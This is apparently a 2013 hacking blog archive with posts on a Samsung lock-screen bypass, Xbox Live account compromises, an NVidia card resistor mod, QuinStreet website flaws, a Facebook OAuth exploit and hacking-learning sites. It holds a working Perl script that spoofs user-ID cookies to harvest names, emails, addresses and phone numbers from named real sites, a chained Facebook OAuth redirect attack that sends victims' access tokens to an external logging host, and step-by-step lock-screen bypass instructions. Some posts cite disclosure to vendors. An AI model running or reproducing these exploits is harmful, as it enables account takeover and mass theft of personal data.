Wednesday, March 20, 2013

How to Hack Samsung Phone Screen Lock


I have discovered another security flaw in Samsung Android phones. It is possible to completely disable the lock screen and get access to any app - even when the phone is "securely" locked with a pattern, PIN, password, or face detection. Unlike another recently released flaw, this doesn't rely quite so heavily on ultra-precise timing.

Of course, if you are unable to download a screen unlocker, this security vulnerability still allows you to dial any phone number and run any app!

HOWTO

  1. From the lock screen, hit the emergency call button.
  2. Dial a non-existent emergency services number - e.g. 0.
  3. Press the green dial icon.
  4. Dismiss the error message.
  5. Press the phone's back button.
  6. The app's screen will be briefly displayed.
  7. This is just about long enough to interact with the app.
  8. Using this, you can run and interact with any app / widget / settings menu.
  9. You can also use this to launch the dialler.
  10. From there, you can dial any phone number (one digit at a time) and place a phone call.
  11. With Google Play, you can search for apps using the voice interface.
  12. You can download apps from the app store which will disable the screen lock.

Impact

This does not occur on stock Android from Google. This flaw only seems to be present on Samsung's version of Android. I have only tested it on a Galaxy Note II running 4.1.2 - I believe it should work on Samsung Galaxy SIII. It may work on other devices from Samsung.
My test phone was running 4.1.2 with the Touchwiz launcher from Samsung.

Defending Against This Attack

Until Samsung release a patch, the only way this can be defended against is by completely removing the Samsung firmware and replacing it with a 3rd party ROM.
This ROM for the Galaxy S III claims to have fixed the problem.
I'm sure there will be ROMs for other Galaxy devices in due course.

Responsible Disclosure

I reported this flaw to Samsung in late February. They are working on a patch which they assure me will be released shortly.
I have delayed public disclosure of this vulnerability. I also asked if they wanted me to delay publication until a patch was ready - however they declined this offer.
If you discover a security issue with Samsung's mobile products, I strongly encourage you to email m.security AT samsung.com
They will provide their PGP public key if you wish to ensure your communications with them are secure.

Thanks

My thanks to Thang Chien of Vietnam, who first demonstrated a variant of this flaw in January.
Thanks also to David RogersMarc RogersAlec Muffett, andGlyn Wintle for their wisdom and advice around the subject of responsible disclosure. Any faults with this disclosure are mine and mine alone.

Tuesday, March 19, 2013

Xbox Live accounts hacked


Xbox Live stock
Allegedly, the hackers who targeted Krebs did so because he helped to reveal the method by which they have been compromising the accounts of "Microsoft employees who work on the Xbox Live gaming platform," Krebs writes .
The method apparently involves acquiring and then utilizing the employees' social security numbers along with some social engineering to obtain access to those accounts. "Attackers are targeting high-profile Microsoft employees by social engineering other companies."
In a statement given to The Verge, Microsoft confirmed that "a handful of high-profile Xbox LIVE accounts held by current and former Microsoft employees" have in fact been compromised. However, Microsoft denies that it in any way collects or utilizes SSNs in conjunction with Xbox Live accounts.
We are aware that a group of attackers are using several stringed social engineering techniques to compromise the accounts of a handful of high-profile Xbox LIVE accounts held by current and former Microsoft employees.
Microsoft does not collect or use Social Security numbers in its services, including Xbox LIVE Gamertags or Microsoft accounts.
Attackers are targeting high-profile Microsoft employees by social engineering other companies that do use this data to intercept security proofs from Microsoft to compromise the accounts.
For its part, Microsoft is directing Xbox Live users to its standard security recommendations at xbox.com/security . However, for now the strongest line of defense offered there appears to be those self-same " security proofs ," at least one of which was compromised thanks to a third party.

Monday, March 18, 2013

Hacking NVidia Cards into their Professional Counterparts



I did originally post this on the nvidia forums but they have silently deleted it  :--, obviously they do not like what I have found becoming public  >:D.

Firstly I will give a bit of history for those that are unaware. NVidia's has for a long time had two ranges of cards, the GeForce for the gaming market, and Quadro for the professional market, and more recently the Tesla range for high end parallel computing stuff. As I am sure most of you would be aware, it is cheaper to manufacture a single chip and cripple it in some way for different product lines then it is to make different silicon for every product.

In the past it has been possible to convert the GeForce cards into Quadro if you could find what they call 'hardware straps' on the board and change them. These straps control the PCI Device ID that the card reports to the computer, and as such, what the drivers will allow the card to do. Recently nVidia changed the way this all works and it has not been possible for quite a few generations of cards until someone on the nVidia forums discovered that the GeForce 4xx something can be turned into its higher end card by changing the hardware strap values by means of an undocumented override in the EEPROM. They were quick to disable this by changing the drivers to look at only the hardware straps for the PCI ID.

I own a NVidia GTX 690 which I bought for two reasons, gaming, and multi monitor setup for work, NVidia made it very clear that this card would drive up to 3 screens in 2d, which it does quite nicely  :-+... under windows  :--! The tight asses have decided that if you want this feature under Linux you have to get a Quadro which has Mosaic support  :palm:. So naturally I decided to look at how mod the card, as the price difference is over $1000 between the GTX 690 and the Quadro K5000 (same GPU) and, get this... the K5000 is only single GPU and clocked some 25-30% slower then the gaming card, what a joke :-DD.

What NVidia has done is changed the way that it handles the straps, instead of just pulling the straps high or low to control the switches as they did previously, they are now read as analogue values. The scheme is as follows:

When pulling high:

5K   = 8
10K = 9
15K = A
20K = B
25K = C
30K = D
35K = E
40K = F

When pulling low I expect this to be the same, but for 7 - 0, but I did not test this as the device ID I was targeting is >= 8.

There are two tiny SMD resistors on the board, one for each nibble of the PCI Device ID byte. Originally the GTX 690 has a device id of 0x1188, so to become a Quadro K5000 this has to be changed to 0x11BA, which equates to 20K and 15K resistors. If you wanted to change it to a Tesla K10, you would want to change it to 0x118F, which equates to 5K and 40K resistors.

This will only change the rear GPU on the GTX 690, I am yet to identify the resistors to change for the front one. I would also wager a bet that the new NVidia Titan can be upgraded into the Tesla K20 using the same method.

Anyway, enough with the description, here are the photos of what to change:

And the results:


Edit:
For those that are just spewing trash on HaD comments without doing a little research... the parts are identical, changing the Device ID just makes the binary blob advertise the additional features to the system, and enables them. It does NOT affect the clock speeds, and will not make the card faster for general day to day work unless you are using the specialised software that takes advantage of these 'professional' features. Changing the ID does not affect the clock speeds as they are configured by the BIOS which we are not touching.

And stock, the GTX690 is clocked FASTER then the K5000 and the Tesla K10, so you are getting a faster card in comparison, not making the GTX690 faster.

I repeat, this does NOT make your GTX 6XX card faster, nor does it make it slower.

Thursday, March 14, 2013

How to Hack 30+ Highly Popular Websites


# March 13, 2013
# FULL-DISCLOSURE Exclusive - Vielen Dank John!
#
# VULNERABILITY SUMMARY
# ---------------------
# A confirmed security vulnerability has been identified with 30 high traffic web
# sites owned by QuinStreet.   Vendor stores database IDs in cookies which are
# easily spoofed (USERID_COOKIE), allowing all user information to be accessed.  
# Seven million users are reportedly in the database:
# http://www.itbusinessedge.com/about-itbe
#
# Web sites
 include:
#
# Ziff Davis
# ----------
# http://www.eweek.com/
# http://www.baselinemag.com/
# http://www.cioinsight.com/
# http://www.channelinsider.com/
# http://www.eseminarslive.com/
#
# Developer.com Network
# ---------------------
# http://www.developer.com/
# http://www.devx.com/
# http://www.codeguru.com/
# http://www.htmlgoodies.com/
#
# IT Business Edge Network
# ------------------------
# http://www.itbusinessedge.com/
# http://www.datamation.com/
# http://www.smallbusinesscomputing.com/
# http://www.internetnews.com/
# http://www.serverwatch.com/
# http://www.infostor.com/
# http://www.enterprisestorageforum.com/
# http://www.enterprisenetworkingplanet.com/
# http://www.enterpriseappstoday.com/
# http://www.cioupdate.com/
# http://www.databasejournal.com/
# http://www.esecurityplanet.com/
# http://www.webopedia.com/
# http://www.linuxtoday.com/
#
# PROOF OF CONCEPT
# ----------------
# The below sample POC Perl script will extract user demographic data from the 
# above listed web
 sites and write the contents to a csv file.
#  
# On Windows, use http://www.strawberryperl.com/, for other O/S visit www.perl.org/get.html
#
 
use strict;
use WWW::Mechanize;
use HTTP::Cookies;
 
# assetforms.* are iframes inserted into each website user management page
my @urls  = ("http://assetform.itbusinessedge.com/acl/accountController.jsp";,
             "http://assetform.eweek.com/acl/accountController.jsp?css=eweek/";
    ."eweekArticleRegistrationForm.css&sdn=Eweek&w=http://www.eweek.com";
   
 ."&u=%2Findex.php%2FaccountManagement%3F&isIframed=yes&rand=11207&formType=",
             "http://assetform.developer.com/acl/accountController.jsp?formType=";
    ."userProfile&css=developerCom/developerComArticleRegistrationForm.css&w="
    ."http://www.developer.com&sdn=developer&nlalkeys=null&submit=submit/";);
 
my $agent = "User-Agent=Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; "
            ."Trident/6.0)";

#comma delimited file name
my $outfile = "eweek-users" .int(rand 100000) . ".csv";

my $cookie_jar = HTTP::Cookies->new;
my $mech = WWW::Mechanize->new(cookie_jar=>$cookie_jar);
$mech->agent($agent);
my $url;
my $Website;
my $LowUserid_Cookie = 0;
my $HighUserid_Cookie = 0;
my $i;
my $SessDate;
my $UserDemographic;
my $output_page;
 
RandUserRange();
CreateCsvHeader();
 
for ($i = $LowUserid_Cookie; $i < $HighUserid_Cookie; $i+=100) {
 $SessDate = "136303" . int(1000000 + rand 1000000);
 setCookies($i,$SessDate);
 
 foreach $url (@urls){
  $Website = substr($url, 17, 5);
  retrieveUrl($url);
  #print "\n\nCookies:\n", $mech->cookie_jar->as_string, "\n";
  print ("UserID:" . $i . "\n");
  print ("Website" . $Website . "\n");
  print ("Length of output_page:" . length($output_page));
  print ("\n\n");
  last if
 length($output_page);
   }
 
 if (length($output_page)) {
    open(OUTFILE,">>$outfile");
    $UserDemographic = processForm($i);
    print OUTFILE $UserDemographic;
    #print OUTFILE $output_page;
    close (OUTFILE);
 }
 }
exit;
 
sub RandUserRange {
 # if (rand(2) < 1) {
   #$LowUserid_Cookie = int(rand( 1000)) + 390000;
   #$LowUserid_Cookie .= "21";
   
   $LowUserid_Cookie = "38500021";
   $HighUserid_Cookie ="47000021";
   
   #   }
   #  else {
   #$LowUserid_Cookie = int(rand(10000)) + 1500000;
   #  $LowUserid_Cookie =  "144530710";
   #  $HighUserid_Cookie =
 "180000000";
# }
}
 
sub setCookies {
 $cookie_jar->clear;
 $cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.itbusinessedge.com',0); 
 $cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.itbusinessedge.com',0); 
 $cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.eweek.com',0); 
 $cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.eweek.com',0); 
 $cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.developer.com',0); 
 $cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.developer.com',0); 
}
 
sub retrieveUrl {
  $mech->get($_[0]);
  $output_page = $mech->content();
  
  if ($output_page =~ m/Sign In/)  {
   $output_page = "";
  }  
   return ($output_page); 
}
  
sub
 processForm {
  $mech->form_name("formTypePost");
  my $Userid = $_[0];
  my $FirstName = clean($mech->value('FN'));
  my $LastName = clean($mech->value('LN'));
  my $Email = clean($mech->value('EM'));
  my $CompanyName = clean($mech->value('CompanyName'));
  my $Title = clean($mech->value('Designation'));
  my $JobFunction = clean($mech->value('JobFunction'));
  my $DecisionRole = clean($mech->value('DecisionRole'));
  my $Employees = clean($mech->value('NumberofEmployeesRange'));
  my $Industry = clean($mech->value('Industry'));
  my $StreetAddress = clean($mech->value('S1'));
  my $City = clean($mech->value('CT'));
  my $State = clean($mech->value('SP'));
  my $PostalZone = clean($mech->value('PC'));
  my $Country = clean($mech->value('CN'));
  my $Phone =
 clean($mech->value('WP'));
  my $s;
  $s = $Userid .','. $Website .',' .$FirstName .','. $LastName .','. $Email .',' 
    .$CompanyName .','. $Title .','. $JobFunction .','. $DecisionRole .',' 
    .$Employees .','. $Industry .','. $StreetAddress .','. $City .','. $State
    .','. $PostalZone .','. $Country .','. $Phone . "\n";
  return ($s);
}
 
sub clean {
  local($a) = ($_[0]);
  $a =~ s/[^a-zA-Z0-9 \.\ () !_%+-]//g;
  return $a
}
 
sub CreateCsvHeader { 
  open(OUTFILE,">$outfile") || die("File write error"); 
  print OUTFILE "UserId,Website,FirstName,LastName,Email,CompanyName,Title,"
  ."JobFunction,DecisionRole,Employees,Industry,StreetAddress,City,State,"
  ."PostalCode,Country,Phone\n";   
  close(OUTFILE);
} 

Wednesday, March 13, 2013

How to Hack Any Facebook Account...Again!




just to clarify there is no need for any installed apps on the victim's account, Even if the victim has never allowed any application in his Facebook account I could still get full permission on his account via Facebook Messenger app_id (This bug works on any browser),

Also, It's important to mention that there is a special regex protection in Facebook Messenger app_id (app_id=220764691281998),

I was able to bypass it. 

Bug 1:

Reported this bug at 6/03/2013, Facebook Security Team Fixed it immediately ,

Also reported more OAuth bugs at 26/02/2013, Facebook Security Team Fixed it very quickly

Regarding Facebook OAuth Double URL Encoding (Firefox), Reported at 6/02/2013, Fixed it very quickly

Details:


Facebook Security was trying to protect OAuth Token Hijacking attacks by using  Regex Protection (%23xxx!,%23/xxx,/)

Facebook rejected one hash sign request in redirect_uri, next parameter (next=%23/xxxx,next=%23xxx!) to avoid OAuth Attacks,

Instead, Facebook allow two or more hash sign request in redirect_uri,next parameter (next=%23/xxx/%23/xxx)

That's because no one was thinking there is a way to exploit Facebook OAuth with Multiple hash sign request




So Can we exploit OAuth with two hash sign request? (%23/x/%23/xxxx)?,

The answer is yes!,

I found that there is a strange behavior of redirection when a user use multiple hash sign request in facebook.com

Multiple Hash Sign Request Example:


Redirect to:


And:


Redirect to:


Amazing How Things Works ;)

Now, After we know that we can use multiple hash sign request (#/xxx/#/xxx)




in our redirect_uri, next parameter to bypass the one hash sign (#/xx) regex protection in Facebook OAuth (next=http://facebook.com/#/xxx),

There is more to it in order to use that behavior to exploit the OAuth Bug once again,
I found out that Facebook OAuth rejects unauthorized subdomains in redirect_uri, next parameter,

For example:

Facebook allows only subdomains of Facebook Mobile Version,

Such as:





But rejects unknown subdomains:



Again, Bad News!
That's Because In any mobile version of Facebook (touch.facebook.com,m.facebook.com,0.facebook.com),We won't see the multiple hash sign behaviour in our request

For Example:



This request will not be valid, Will not redirect us to the messages screen,



Anyway, I need a subdomain like the same official domain of facebook.com,

I need it to exploit the strange redirection behavior with multiple hash sign request  (#/xx/#/xx) under facebook.com
At first sight it seems that facebook rejects any subdomain except the mobile subdomain version (touch.facebook.com,etc...),

I found that if I use facebook as a subdomain (facebook.facebook.com), I can bypass this protection,

Sometimes the answer is right in front of you :).

Wait a second!,

For now it seems that I can access to files / directories in facebook.com via the redirect_uri,next parameter right?,
But i can't access my app that redirect victims to the attacker's external website (files.nirgoldshlager.com) , To Save the access_token of the victim,
That's Because my "malicious" App located at touch.facebok.com/apps/xxxapps.facebook.com/apps/xxxx

I thought of a few ways to exploit this situation,

1.

Create a Page Tab in Facebook Page that redirect to external website (files.nirgoldshlager.com),

2.

Try to access my app from facebook.com domain


3.

Find a Site Redirection Vulnerability in facebook.com.


I tried to use my App or Page tab in redirect_uri,next parameter
For Example:

A.

(My "Malicious" App, Located in facebook.com)

B.

(Page Tab that redirect to external website, Located in facebook.com)


Bad news again!

I cant use this methods because there is to much redirection process in this attack,

The Access_token of the victim will not be sent to an external site after 3 redirection requests in GET URL, That's sucks!

I was thinking again, Maybe there is some way to redirect the victim directly to my app located intouch.facebook.com/apps/myapp to limit the redirection process to three times for example.

So, I found that there is a file called l.php in facebook.com, I'm sure most of you familiar with this file,

This file is responsible of redirecting people to external websites, In this case Facebook provide a warning message, Ask the user to confirm the redirection before they redirect him,

Seems I'm lost again, 



I found that if i use 5 byte before the external website in l.php,

I can bypass this warning message when i redirect the victim to subdomains of facebook.com

For example:

Warning message:


Bypass warning message by using  5 byte , Redirect to touch.facebook.com subdomain:


Cool!,

Now lets combine all of these methods to bypass Facebook OAuth,

Exploit Summary

1. 

Using facebook.facebook.com subdomain to bypass subdomain regex protection in OAuth (facebook.facebook.com)

2.

Exploit the strange redirection behavior in facebook.com with multiple hash signs (https://facebook.facebook.com/#/x/#/l/ggggg;touch.facebook.com/apps/sdfsdsdsgs)

3.

Bypass the warning message in l.php with 5 byte (https://www.facebook.com/l/ggggg;touch.facebook.com)

4.

Redirect the victim to external websites located in files.nirgoldshlager.com via my Facebook app, To save the victim access_token in a log file 

Final PoC One Click (Works On All Browsers, Bypass 2-STEP Verification, Access token never expired until the victim changed his password):



 Full description of permission for Facebook Messenger Access Token:

ads_management create_event create_note email export_stream manage_friendlists manage_groups manage_notifications manage_pages offline_access photo_upload publish_actions publish_checkins publish_stream read_friendlists read_insights read_mailbox read_page_mailboxes read_requests read_stream rsvp_event share_item sms status_update video_upload xmpp_login


 And???




Bug 2.



This bug was fixed a few weeks ago,

I wanted to find something unique for Facebook users that are using Firefox Browser!,

I found that an attacker is able to encode his payload with Double URL Encoding (%25xx) to attack Facebook users under Firefox Browser and bypass Facebook OAuth regex protection.

This behavior bypasses the hash sign regex protection in touch.facebook.com, facebook.com   , x.facebook.com,etc..

PoC:



See you next time :)

Monday, March 11, 2013

TOP WEBSITES TO LEARN HOW TO HACK PROFESSIONALLY


Hacking is definitely not as easy as shown in various movies, still there are thousands of newbies who wants to learn hacking for one or another reason but don’t know where to start from. So, below is a list of some website to start your journey.

list of various Ethical hacking Sites

Backtrack: Rating (5/5)
No need to introduce this software. If you have a little bit of experience in hacking then you must have heard about Backtrack. This website provide many hacking tutorials using Backtrack. Have there own Training programs, blog and large community. Backtrack is highly popular among Security Professional and many top certifications like CEH use backtrack for teaching penetration testing. If you are a Backtrack beginner then you must bookmark this website.
Backtrack- most popular penetration testing distribution
Hell bound hackers: Rating (4.5/5)
Hellbound Hackers is a security training website which covers large number of security topics like programming, Encryption, Cracking etc. HellBound is one of largest hacking teaching sites out there. No matter, beginner or expert HellBound hackers is a great learning ground for everyone.
Hellbound Hackers - A security training website
The HITB Network: Rating (4/5)
HITB Network provide you latest security news and happenings from the hacker underground.They have dedicated forums which are really helpful for asking security questions and discussions.
HITB Network provide you latest security news
Hack This Site: Rating (3/5)
Hack This SIte is one of the best to learn ethical hacking. Hack This Site offers you various challenges to test and sharpen your skills. They have a vast selection Of ethical hacking articles,list of various useful tools and one of the best forums for your any hacking related query.
Hack This Site is one the best for learning ethical hacking
Hackaday: Rating (3/5)
Hackaday provides you vast numer of tutorials to learn like android hacks, cellphone hacks etc and also serves you hacking related news. A really good website to learn ethical hacking.
learn hacking using various tutorials like cellphone hacks, android hacks
EvilZone: Rating (3/5)
Evilzone is another great forum, where you can learn everything related to hacking. You can find many hacking experts in this forum. EvilZone is one of the biggest security related forum, having 6898 Members and 21538 Posts in 3197 Topics.
Evilzone one of the most popular website to learn hacking
Go4expert: Rating (3/5)
Go4expert is a programming and seo Forum and as the name suggest it covers many tutorials based on programming and web development tips. Go4excepert is best for newbies who is looking for great way to start learning ethical hacking.
Learn hacking and web development from Go4expert
In this website you can find articles and interviews of various cyber security gurus. Giveaway, Books related to hacking, Information about surveys, Certification and much more.